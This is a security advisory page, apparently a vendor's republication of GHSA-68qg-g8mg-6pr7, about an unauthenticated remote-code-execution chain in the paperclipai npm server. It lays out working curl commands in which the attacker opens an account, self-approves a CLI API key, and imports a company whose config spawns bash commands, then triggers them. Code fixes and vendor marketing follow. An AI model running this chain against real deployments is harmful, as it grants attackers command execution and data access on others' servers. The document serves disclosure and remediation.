GHSA-68qg-g8mg-6pr7
CRITICALGHSA-68qg-g8mg-6pr7 is a critical-severity (CVSS 10) Improper Authentication vulnerability in paperclipai. O3 Security confirms whether GHSA-68qg-g8mg-6pr7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
paperclipainpm@paperclipai/servernpmDescription
Summary
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.
I verified every step against the latest version. I have a fully automated PoC script and a video recording available.
Discord: sagi03581
Steps to Reproduce
The attack chains four independent flaws to escalate from zero access to RCE:
Step 1: Create an account (no invite, no email verification)
curl -s -X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"P@ssw0rd123","name":"attacker"}' \
http://<target>:3100/api/auth/sign-up/email
Returns a valid account immediately. No invite token required, no email verification.
This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:
const authDisableSignUp: boolean =
disableSignUpFromEnv !== undefined
? disableSignUpFromEnv === "true"
: (fileConfig?.auth?.disableSignUp ?? false); // default: open
And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:
emailAndPassword: {
enabled: true,
requireEmailVerification: false,
disableSignUp: config.authDisableSignUp,
},
The environment variable isn't documented in the deployment guide, so operators don't know it exists.
Step 2: Sign in
curl -s -v -X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"P@ssw0rd123"}' \
http://<target>:3100/api/auth/sign-in/email
Capture the session cookie from the Set-Cookie header.
Step 3: Create a CLI auth challenge and self-approve it
Create the challenge (no authentication required at all):
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.
Now approve it with our own session:
curl -s -X POST \
-H "Cookie: <session-cookie>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{"token":"<token-from-above>"}' \
http://<target>:3100/api/cli-auth/challenges/<id>/approve
The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:
if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);
The boardApiToken from step 3 is now a persistent API key tied to our account.
Step 4: Create a company and deploy an agent via import (authorization bypass)
This is the critical flaw. The direct company creation endpoint correctly requires instance admin:
server/src/routes/companies.ts:260-264:
router.post("/", validate(createCompanySchema), async (req, res) => {
assertBoard(req);
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
});
But the import endpoint does not:
server/src/routes/companies.ts:170-176:
router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
assertBoard(req); // only checks board type
if (req.body.target.mode === "existing_company") {
assertCompanyAccess(req, req.body.target.companyId); // only for existing
}
// NO assertInstanceAdmin for "new_company" mode
const result = await portability.importBundle(req.body, ...);
});
assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.
The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{
"source": {"type": "inline", "files": {
"COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
"agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
".paperclip.yaml": "agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
}},
"target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
"include": {"company": true, "agents": true},
"agents": "all"
}' \
http://<target>:3100/api/companies/import
Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.
Step 5: Trigger the agent
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{}' \
http://<target>:3100/api/agents/<agent-id>/wakeup
The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.
Proof of Concept
I have a self-contained bash script that runs the full chain automatically:
./poc_exploit.sh http://<target>:3100
It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.
Impact
An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:
- Full filesystem access (read/write as the server user)
- Access to all data in the Paperclip database
- Ability to pivot to internal network services
- Ability to disrupt all agent operations
The attack is fully automated, requires no user interaction, and works against the default deployment configuration.
Suggested Fixes
Critical: Unauthorized board access (the root cause)
The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:
- Read adapter configurations and internal API structure
- Approve/reject/request-revision on any company's approvals (these endpoints only check
assertBoard, notassertCompanyAccess) - Cancel any company's agent runs (same missing check)
- Read issue data from any heartbeat run (zero auth on
GET /api/heartbeat-runs/:runId/issues) - Create unlimited accounts for resource exhaustion
- Wait for the next authorization bug to appear
These need to be fixed together:
-
Disable open registration by default --
server/src/config.ts:172, change?? falseto?? true. DocumentPAPERCLIP_AUTH_DISABLE_SIGN_UPin the deployment guide. Any deployment that wants open signup can opt in explicitly. -
Prevent CLI auth self-approval --
server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key. -
Require email verification --
server/src/auth/better-auth.ts:91, setrequireEmailVerification: true. At minimum this stops throwaway accounts.
Critical: Import authorization bypass (the RCE path)
- Add
assertInstanceAdminto the import endpoint fornew_companymode --server/src/routes/companies.ts, lines 161-176. The directPOST /creation endpoint already has this check. The import endpoint doesn't. Apply the same check to bothPOST /importandPOST /import/preview:
assertBoard(req);
if (req.body.target.mode === "new_company") {
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
} else {
assertCompanyAccess(req, req.body.target.companyId);
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | paperclipai | all versions | 2026.410.0 |
| 📦npm | @paperclipai/server | all versions | 2026.410.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for paperclipai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update paperclipai to 2026.410.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-68qg-g8mg-6pr7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-68qg-g8mg-6pr7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-68qg-g8mg-6pr7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-68qg-g8mg-6pr7 in your dependencies?
O3 detects GHSA-68qg-g8mg-6pr7 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.